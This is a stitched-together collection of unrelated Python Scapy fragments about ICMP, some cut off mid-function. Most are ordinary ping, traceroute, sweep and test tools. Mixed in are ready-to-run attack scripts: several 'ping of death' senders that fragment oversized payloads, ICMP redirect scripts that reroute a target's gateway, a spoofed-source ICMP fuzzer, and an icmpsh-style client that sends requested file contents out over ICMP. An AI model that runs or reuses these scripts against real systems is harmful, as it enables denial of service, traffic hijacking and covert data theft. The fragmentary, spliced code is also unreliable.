def cmd_ping(ip, interface, count, timeout, wait, verbose): """The classic ping tool that send ICMP echo requests. \b # habu.ping 8.8.8.8 IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding """ if interface: conf.iface = interface conf.verb = False conf.L3socket=L3RawSocket layer3 = IP() layer3.dst = ip layer3.tos = 0 layer3.id = 1 layer3.flags = 0 layer3.frag = 0 layer3.ttl = 64 layer3.proto = 1 # icmp layer4 = ICMP() layer4.type = 8 # echo-request layer4.code = 0 layer4.id = 0 layer4.seq = 0 pkt = layer3 / layer4 counter = 0 while True: ans = sr1(pkt, timeout=timeout) if ans: if verbose: ans.show() else: print(ans.summary()) del(ans) else: print('Timeout') counter += 1 if count != 0 and counter == count: break sleep(wait) return True
def main(args): print "[*] Comenzando el fuzzing..." pkt_lst = [] for i in xrange(args.count): ip_layer = IP(dst=args.target) # Fuzz IP layer # # Src ramdon? if random_bool(): ip_layer.src = str(RandIP()) # IP ID if random_bool(): ip_layer.id = int(RandShort()) # IP TTL if random_bool(): ip_layer.ttl = int(RandInt()) % 255 icmp_layer = ICMP() # Fuzz ICMP layer # # Type random if random_bool(): icmp_layer.type = int(RandByte()) # Seq random if random_bool(): icmp_layer.seq = int(RandShort()) pkt = ip_layer/icmp_layer pkt_lst.append(pkt) sendp(pkt_lst, inter=args.interval) print "[*] Enviado %s paquetes" % i
print '\tQuick Ping Sweep\n' if len(sys.argv) != 2: print '[?] Usage: pingsweep <network>' sys.exit(0) net = sys.argv[1] print 'Input network:', net responding = [] network = netaddr.IPNetwork(net) for ip in network: if ip == network.network or ip == network.broadcast: continue # Send & wait for response for the ICMP Echo Request packet reply = sr1(IP(dst=str(ip)) / ICMP(), timeout=PING_TIMEOUT, iface=IFACE, verbose=0) if not reply: continue if int(reply.getlayer(ICMP).type) == 0 and int( reply.getlayer(ICMP).code) == 0: print ip, ': Host is responding to ICMP Echo Requests.' responding.append(ip) print '[+] Spotted {} ICMP Echo Requests.'.format(len(responding))
def icmpv4_probe(dst_host, timeout): icmptype_i = 0x8 icmptype_name_i = 'ICMP ECHO' icmptype_o = 0x0 icmptype_name_o = 'ICMP ECHO_REPLY' stack_name = None match = MATCH_NO_MATCH ip = IP(dst=dst_host, ttl=20, proto=0x01) # First, check if we can reach ICMP std_icmp_payload = '\xcd\x69\x08\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17' \ '\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27' \ '\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37' reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i) / Raw(load=std_icmp_payload), filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if not reply: return (stack_name, MATCH_NO_REPLY) # If there is no reply to the second ICMP packet, either the target IP cannot be reached (or ICMP is # disabled), or we deal with the CycloneTCP stack that will accept only ICMP packets that have at least 1 byte # of data. To check for CycloneTCP, we craft such a packet: we expect the 1 byte of data back (+ optional padding). reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i), filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if not reply: reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i) / Raw(load=b'\x41'), filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if reply and (reply.ttl >= 54 and reply.ttl <= 64): if Raw in reply and Padding in reply and reply[Raw].load == b'\x41': match = MATCH_MEDIUM stack_name = 'CycloneTCP' return (stack_name, match) # Next, we prepare a packet that should work with uIP/Contiki and PicoTCP icmp_raw = b'\x08\x01\x02' ipv4_probe = ip / Raw(load=icmp_raw) # Send the malformed ICMP packet # If we get the expected reply it is either PicoTCP or uIP/Contiki: # - we first check that the TTL value of the echo packet is changed into 64 for the reply packet # - we then check the payload sequence of the echo reply packet reply = sr1(ipv4_probe, filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if reply and (reply.ttl >= 54 and reply.ttl <= 64): if (hexlify(reply.load) == b'0001ff'): match = MATCH_HIGH stack_name = 'PicoTCP' elif (hexlify(reply.load) == b'00010a'): match = MATCH_HIGH stack_name = 'uIP/Contiki' else: # we did not get a reply for the first malformed packet _id = 0xab _seq = 0xba # Nut/Net should reply to ICMP packets with incorrect IP and ICMP checksums ipv4_probe = IP(dst=dst_host, ttl=20, chksum=0xdead) / ICMP( id=_id, seq=_seq, type=icmptype_i, chksum=0xbeaf) reply = sr1(ipv4_probe, filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) # TTL value must be 64 as well if reply and (reply.ttl >= 54 and reply.ttl <= 64): if (reply[ICMP].id == _id and reply[ICMP].seq == _seq and reply[ICMP].type == 0x00): match = MATCH_MEDIUM stack_name = 'Nut/Net' # Here we handle all other cases if match == MATCH_NO_MATCH: # NDKTCPIP should reply to an ICMP packet that has at least 4 bytes of the header and a correct ICMP checksum # The code (2nd byte) must be 0x00 icmp_raw = b'\x08\x00\xf7\xff' ipv4_probe = ip / Raw(load=icmp_raw) # For some reason Scapy will not get the reply to this packet, so I had to use asynchronous sniffing t = AsyncSniffer(iface=interface) t.start() send(ipv4_probe) time.sleep(timeout) pkts = t.stop() for pkt in pkts: # first, let's check the source and the destination IP if IP in pkt and pkt[IP].src == dst_host and pkt[IP].dst == ip.src: # NDKTCPIP will reply with a TTL value of 255, the ICMP checksum will be 0xffff if ICMP in pkt and pkt[ICMP].type == 0x00 and pkt[ ICMP].chksum == 0xffff: # NDKTCPIP will reply with a TTL value of 255, the ICMP checksum will be 0xffff if (pkt.ttl >= 245 and pkt.ttl <= 255): match = MATCH_HIGH stack_name = 'NDKTCPIP' break # Nucleus Net AND NicheStack will reply with a TTL value of 64, the ICMP checksum will be 0xffff. # So far, we assume it is NicheStack. elif (pkt.ttl <= 64): match = MATCH_MEDIUM stack_name = 'NicheStack' break # We do an additional check for Nucleus Net: it will reply to a malformed ICMP packet that has only 1 byte in its header. # If we don't get a reply, NicheStack it is. if stack_name == 'NicheStack': icmp_raw = b'\x08' ipv4_probe = ip / Raw(load=icmp_raw) t = AsyncSniffer(iface=interface) t.start() send(ipv4_probe) time.sleep(timeout) pkts = t.stop() for pkt in pkts: # first, let's check the source and the destination IP if IP in pkt and pkt[IP].src == dst_host and pkt[IP].dst == ip.src: if ICMP in pkt and pkt[ICMP].type == 0x00 and pkt[ ICMP].chksum == None: match = MATCH_MEDIUM stack_name = 'Nucleus Net' break return (stack_name, match)
from scapy.all import send, IP, ICMP send(IP(dst="192.168.3.100") / ICMP()) send(IP(dst="192.168.4.100") / ICMP())
def POD(ip_addr, amt): send(fragment(IP(dst=ip_addr) / ICMP() / ("X" * int(amt)))) return 1
from scapy.all import IP, ICMP, sr1 import sys import time import numpy as np # destination is passed as a command line arguement ip = sys.argv[1] # used to collect estimated rtt time_lst = [] print("Pinging " + ip + " with 28 bytes of data:") for i in range(10): # Create IP packet with ICMP request pkt = IP(dst=ip)/ICMP() t1 = time.time() # t1 = time before sending rcv_pkt = sr1(pkt, verbose=False) t2 = time.time() # t2 = time of arrival time_lst.append((t2-t1)*1000) # print received packet info print("Reply from {}: bytes={} time={:.1f}ms TTL={}" .format(rcv_pkt.src, rcv_pkt.len, time_lst[-1], rcv_pkt.ttl)) # delay for 1 second time.sleep(1) # Median Absolute Deviation
#!/usr/bin/python3 import sys from scapy.all import send, IP, ICMP if len(sys.argv) < 3: print(sys.argv[0] + " <src_ip> <dst_ip>") sys.exit(1) packet = IP(src=sys.argv[1], dst=sys.argv[2]) / ICMP() answer = send(packet) if answer: answer.show()
def traceroute_discovery(self): external_ip = requests.get("http://canhazip.com").text # getting external ip, to determine if cloud cluster from scapy.all import ICMP, IP, Ether, srp1 node_internal_ip = srp1(Ether() / IP(dst="google.com" , ttl=1) / ICMP(), verbose=0)[IP].src return [ [node_internal_ip,"24"], ], external_ip
def send(src, iface, dst, distance, pow, gain, filename, flag=True, miss_pkt='', times=10, send_pkt=[]): info(distance) count = 0.0 # 记录实际发送了多少个包 total = 0 if distance <= 4: loss = 0 else: loss = 0.1 if flag: index = 0 #filename1='/home/shlled/mininet-wifi/Log/%s' % filename filename1 = '/home/shlled/mininet-project-duan/Stackelberg/Log/%s' % filename f1 = open(filename1, 'r') buffer = f1.readlines() lenth = len(buffer) total = lenth while index < lenth: time.sleep(0.1) now = time.time() alpha = buffer[index] #alpha=buffer[index].strip() msg = "send_time: " + "%.6f" % float( now ) + " filename:%s" % filename + "total:%d" % total + "index:%d" % index + "data:" + alpha send_pkt.append(msg) print(msg) p = Ether() / IP(src=src, dst=dst) / ICMP() / msg "miss packet" top = int(100 - 100 * loss) key = random.randint(1, 100) if key in range(1, top): sendp(p, iface=iface) count += 1 else: print("can't send the packet\n") index += 1 f1.close() else: #filename1='/home/shlled/mininet-wifi/Log/%s' % filename filename1 = '/home/shlled/mininet-project-duan/Stackelberg/Log/%s' % filename f1 = open(filename1, 'r') buffer = f1.readlines() lenth = len(buffer) total = lenth #miss_pkt = stringToList(miss_pkt) while miss_pkt != []: info("miss_pkt in send.py:", miss_pkt) print(miss_pkt) time.sleep(0.1) now = time.time() alpha = buffer[int(miss_pkt[0])] print('alpha', alpha) msg = "send_time: " + "%.6f" % float( now ) + " filename:%s" % filename + "total:%d" % total + "index:%d" % miss_pkt[ 0] + "data:" + alpha send_pkt.append(msg) print(msg) p = Ether() / IP(src=src, dst=dst) / ICMP() / msg "miss packet" top = int(100 - 100 * loss) key = random.randint(1, 100) if key in range(1, top): sendp(p, iface=iface) miss_pkt.pop(0) else: miss_pkt.pop(0) print("can't send the packet\n") f1.close() filename2 = '/home/shlled/mininet-project-duan/Stackelberg/Log/UE%s.json' % src[ 7:8] #第一次发送包时才更新能量和收益,重传时不考虑 if flag: with open(filename2, 'r+') as f2: buffer = f2.readlines() lenth = len(buffer) data = json.loads(buffer[lenth - 1]) data["POWER"] -= pow data["Gains"] += gain integ = count / total data["Integrity"] = integ json.dump(data, f2) f2.write("\n")
target = self.args['icmp_dst'] data = self.args['icmp_payload'] unused = self.args['icmp_unused'] ip = IP(dst=self.args['icmp_dst']) icmp = ICMP(type=self.args['icmp_type'], code=self.args['icmp_code'], unused=self.args['icmp_unused'] ) # Create ICMP packet(s) to send p=sr1(ip/icmp/data) if p: p.summary() def usage(self): self.parser.print_usage() def read_parameters(self, params_source): if len(params_source)==0: self.usage() sys.exit(1) else: self.args = vars(self.parser.parse_args(params_source)) if __name__ == '__main__': myICMP = ICMP() myICMP.read_parameters(sys.argv[1:]) myICMP.run()
def ping(self): print(f"Session {str2mac(self.mac)} running ping from {self.addr} to {self.dhcp_server}") pkt = Ether(src=self.mac, dst="ff:ff:ff:ff:ff:ff") pkt /= IP(src=self.addr, dst=self.dhcp_server) pkt /= ICMP() self.sendp(pkt)
#!/usr/bin/python3 import sys from scapy.all import IP, ICMP, L3RawSocket, conf, srloop conf.L3socket = L3RawSocket if len(sys.argv) < 2: print("Usage: ping host count") exit pinger = IP(dst=sys.argv[1]) / ICMP() resp = srloop(pinger, count=int(sys.argv[2])) if resp: print("Ping response: " + str(resp)) for p in range(0, len(resp[0])): resp[0][p][1].show() else: print("No answer")
from scapy.all import IP, ICMP, sr1 import sys import time # destination is passed as a command line arguement ip = sys.argv[1] for i in range(1, 31): time_lst = [] # Create IP packet with ICMP request pkt = IP(dst=ip, ttl=i) / ICMP() source = ip for j in range(3): t1 = time.time() # t1 = time before sending rcv_pkt = sr1(pkt, verbose=False) t2 = time.time() # t2 = time of arrival time_lst.append((t2 - t1) * 1000) source = rcv_pkt.src # print received packet info print("{} {:.1f} ms {:.1f} ms {:.1f} ms {}".format( i, time_lst[0], time_lst[1], time_lst[2], source))
#!/usr/bin/env python # # Example from: # http://www.secdev.org/projects/scapy/build_your_own_tools.html # # This is meant to be executed on h1 to ping toward h2 # from scapy.all import sr1, IP, ICMP dstIP = '10.0.0.2' packet = sr1(IP(dst=dstIP) / ICMP()) if packet: packet.show()
#*** Get parameters from command line SRC_MAC = sys.argv[1] DST_MAC = sys.argv[2] SRC_IP = sys.argv[3] DST_IP = sys.argv[4] IF_NAME = sys.argv[5] REPEAT_INTERVAL = float(sys.argv[6]) REPEAT_COUNT = int(sys.argv[7]) data = "blahblahblah" # define ip and icmp eth = Ether() eth.src=SRC_MAC eth.dst=DST_MAC ip = IP() ip.src = SRC_IP ip.dst = DST_IP icmp = ICMP() icmp.type = 8 icmp.code = 0 finished = 0 count = 0 while not finished: sendp(eth/ip/icmp/data, iface=IF_NAME) time.sleep(REPEAT_INTERVAL) count += 1 if count >= REPEAT_COUNT: finished = 1
infos = data[:6] filename = data[6:] dataUnpacked = unpack('IH',infos) offset = dataUnpacked[0] size = dataUnpacked[1] sys.stdout.write("Filename : " + filename + "\nOffset : " + str(offset) + "\n") try: f = open(filename) except: print "%s not found"%filename continue f.seek(offset) line = f.read(size) f.close() send(fragment(IP(dst=sys.argv[2]) / ICMP(type='echo-reply', id=ident, seq=seq_id) / (line))) except: if len(data) == 0: print "End" else: print "Invalid ICMP buffer" if __name__ == '__main__': if len(sys.argv) < 3: msg = 'missing mandatory options. Execute as root:\n' msg += './icmpsh_download_cli.py <source IP address> <destination IP address>\n' sys.stderr.write(msg) sys.exit(1) main(sys.argv[1], sys.argv[2])
#You are sending a SYN and correctly receiving a SYN_ACK. # At this point, you should generate and send an ACK based on the SYN_ACK that you've received, # and THEN finally transmit the HTTP GET request from scapy import * from scapy.layers.http import HTTPRequest,HTTPResponse,HTTP,http_request from scapy.all import load_layer from scapy.all import sr1,IP,ICMP,TCPSession,sr,srp,srp1,send,sendp,sendpfast,RandShort from scapy.layers.inet import TCP_client,TCP,Ether,UDP ans,unans = sr(IP(dst="8.8.8.8")/TCP(dport=[80,443],flags="S"),timeout=1) p=sr1(IP(dst='8.8.8.8')/ICMP()) if p: p.show() dir(scapy.layers.http) HTTPRequest().show() HTTPResponse().show() load_layer("http") req = HTTP()/HTTPRequest( Accept_Encoding=b'gzip, deflate', Cache_Control=b'no-cache', Connection=b'keep-alive', Host=b'www.secdev.org', Pragma=b'no-cache'
gtpc = rdpcap( 'traces/gtpv2-create-session-request.pcap')[0]["GTP v2 Header"] gtpc["GTPv2 Create Session Request"]["IE IMSI"].IMSI = imsi gtpc["GTPv2 Create Session Request"][ "IE APN"].APN = '{}.mnc099.mcc999.gprs'.format(apn) gtpc["GTPv2 Create Session Request"]['IE MSISDN'].digits = msisdn #gtpc.show() return gtpc.build() if "__main__" == __name__: imsi, msisdn, apn = parse_opt() gtpc = get_gtp_packet(imsi, msisdn, apn) sock = create_socket() sock.send(gtpc) data = sock.recv(256) sock.close() resp = gtp.GTPHeader(data) if (resp["GTPv2 Create Session Response"]["IE Cause"].Cause == 16): # request accepted pgwu_teid = resp["IE Bearer Context"]["IE F-TEID"].GRE_Key allocated_ip = resp["GTPv2 Create Session Response"]["IE PAA"].ipv4 icmp_packet = IP(src=allocated_ip, dst=ICMP_DST_IP) / ICMP() print("Session created.\nIP={}\nPGWU_TEID={}\nGTPU_PAYLOAD={}".format( allocated_ip, pgwu_teid, icmp_packet.build().hex())) else: print("Failed to create session") resp.show() sys.exit(1)
def usage(): print(sys.argv[0] + """ -t <target> -o <old_gw> -n <new_gw>""") sys.exit(1) # Parsing parameter try: cmd_opts = "t:o:n:r:" opts, args = getopt.getopt(sys.argv[1:], cmd_opts) except getopt.GetoptError: usage() for opt in opts: if opt[0] == "-t": target = opt[1] elif opt[0] == "-o": old_gw = opt[1] elif opt[0] == "-n": new_gw = opt[1] else: usage() # Construct and send the packet packet = IP(src=old_gw, dst=target) / \ ICMP(type=5, code=1, gw=new_gw) / \ IP(src=target, dst='0.0.0.0') send(packet)
def get_cbr0_ip_mac(self): config = get_config() res = srp1(Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout) return res[IP].src, res.src
import sys import time from scapy.all import IP, ICMP, sr1 ip = sys.argv[1] icmp = IP(dst=ip) / ICMP() cur_min = 0 f = open("uplog.txt", "a") try: while True: resp = sr1(icmp, timeout=1) secs = time.localtime() if cur_min != secs.tm_min: cur_min = secs.tm_min f.write("]\n[" + str(f"{secs.tm_hour:02d}") + ":" + str(f"{secs.tm_min:02d}") + ":" + str(f"{secs.tm_sec:02d}") + "]|[") if resp == None: f.write("-") else: f.write(".") time.sleep(1) f.flush() except: f.close()
# Define IP range to ping network = "192.168.130.0/24" # make list of addresses out of network, set live host counter addresses = IPv4Network(network) live_count = 0 # Send ICMP ping request, wait for answer for host in addresses: if (host in (addresses.network_address, addresses.broadcast_address)): # Skip network and broadcast addresses continue resp = sr1( IP(dst=str(host))/ICMP(), timeout=2, verbose=0, ) if resp is None: print(f"{host} is down or not responding.") elif ( int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13] ): print(f"{host} is blocking ICMP.") elif ( int(resp.getlayer(ICMP).type) == 0 and int(resp.getlayer(ICMP).code) == 0 ):
def build_icmp(self): pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\ IP(src=self.target, dst=self.gateway)/UDP() return pkt
#!/usr/bin/python3 import sys from scapy.all import sr1, IP, ICMP, L3RawSocket, conf conf.L3socket = L3RawSocket p = sr1(IP(dst=sys.argv[1]) / ICMP()) if p: p.show() else: print("Nothing")
def icmpPing(dstIP): ans, unans = sr(IP(dst=dstIP) / ICMP()) ans.summary(lambda s, r: r.sprintf("%IP.src% is alive"))
def create_ping_packet(ip_src="192.168.0.33", ip_dst="192.168.0.1"): packet = scapy.layers.inet.IP(src=ip_src, dst=ip_dst, ttl=20)/ICMP() new_packet = scapy.layers.inet.IP(bytes(packet)) # to populate all fields return new_packet
def ICMPTraceroute(self, host): if host not in self.hosts: self.hosts.append(host) d = defer.Deferred() reactor.callLater(self.timeout, d.callback, self) self.sendPackets(IP(dst=host, ttl=(self.ttl_min, self.ttl_max), id=RandShort()) / ICMP(id=RandShort())) return d
#! /usr/bin/env python from scapy.all import send, IP, ICMP send(IP(src="192.168.232.128", dst="192.168.17.128") / ICMP() / "Hello World")
#! /usr/bin/env python3 # To run this code use following command # sudo chmod +x <filename>.py # sudo python <filename>.py from scapy.all import ICMP, sr1, IP, srloop, conf #from scapy.all import * #print("Hello World") conf.iface = "wlp3s0" print(sr1(IP(dst="192.168.0.1") / ICMP()).summary()) resp = srloop(IP(dst="192.168.0.1", ttl=202) / ICMP(), count=5) print("Ping response received") print(resp[0])
t = SnifferThread(iface) t.daemon = True t.start() send_socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x03)) if args.dl: pkt = Ether(dst='00:aa:bb:00:00:a5', src='00:55:00:00:00:00') / IP( dst='192.168.0.1', src='192.168.0.10') / TCP(sport=80, dport=20) / "NAT DL" port2send = port_map[2] elif args.greh1: pkt = Ether(dst='00:aa:bb:00:00:a5', src='00:55:00:00:00:00') / IP( dst='192.168.0.1', src='192.168.0.10') / ICMP() / "icmp" port2send = port_map[2] else: pkt = Ether(dst='00:aa:bb:00:00:04', src='00:44:00:00:00:00') / IP( dst='192.168.0.10', src='10.0.0.10') / TCP(sport=20, dport=80) / "NAT Ul" port2send = port_map[1] send_socket.bind((port2send, 0)) delays = PacketDelay(10, 5, 25, 100, NUM_PACKETS) ports = [] print "Sending", NUM_PACKETS, "packets by ", port2send, "..." for d in delays: # sendp is too slow... # sendp(pkt, iface=port_map[3], verbose=0) # if args.random_dport:
def run(self): print "death pinging " + self.ip send(fragment(IP(dst=self.ip) / ICMP() / ("V" * self.length)))
#!/usr/bin/python # This tool is for educational use only! # Description: Ping of death # Requirements: scapy + root privileges import sys from scapy.all import send, fragment, IP, ICMP if len(sys.argv) < 2: print "{0} <dst_ip>".format(sys.argv[0]) sys.exit(1) send(fragment(IP(dst=sys.argv[1]) / ICMP() / ("X" * 60000)))